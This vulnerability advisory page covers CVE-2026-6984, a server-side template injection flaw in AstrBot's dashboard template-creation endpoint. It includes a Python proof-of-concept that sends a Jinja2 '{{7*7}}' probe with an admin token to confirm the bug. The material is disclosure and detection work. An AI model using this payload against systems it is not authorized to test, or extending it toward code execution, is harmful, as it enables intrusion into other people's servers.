Security Vulnerability Report
中文
CVE-2026-6984 CVSS 4.7 MEDIUM

CVE-2026-6984

Published: 2026-04-25 16:16:18
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in AstrBotDevs AstrBot up to 4.22.1. This affects the function create_template of the file astrbot/dashboard/routes/t2i.py of the component Dashboard API. The manipulation results in improper neutralization of special elements used in a template engine. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AstrBotDevs AstrBot <= 4.22.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL endpoint for the vulnerable function target_url = "http://target-ip:port/api/dashboard/t2i/create_template" # SSTI Payload to test (Jinja2 syntax) # Checks if the multiplication 7*7 is evaluated to 49 payload = "{{7*7}}" # Headers simulating a high-privilege authenticated session headers = { "Authorization": "Bearer <admin_access_token>", "Content-Type": "application/json" } # JSON data payload sent in the POST request data = { "template_name": "malicious_test", "template_content": payload # The vulnerable field } try: # Send the malicious request response = requests.post(target_url, json=data, headers=headers, timeout=10) # Check if the payload was executed (49 indicates SSTI) if "49" in response.text: print("[+] Vulnerability Confirmed: The server evaluated the template expression.") else: print("[-] Not Vulnerable or Patched.") except Exception as e: print(f"[!] Request failed: {e}")

References

Raw JSON Data

JSON
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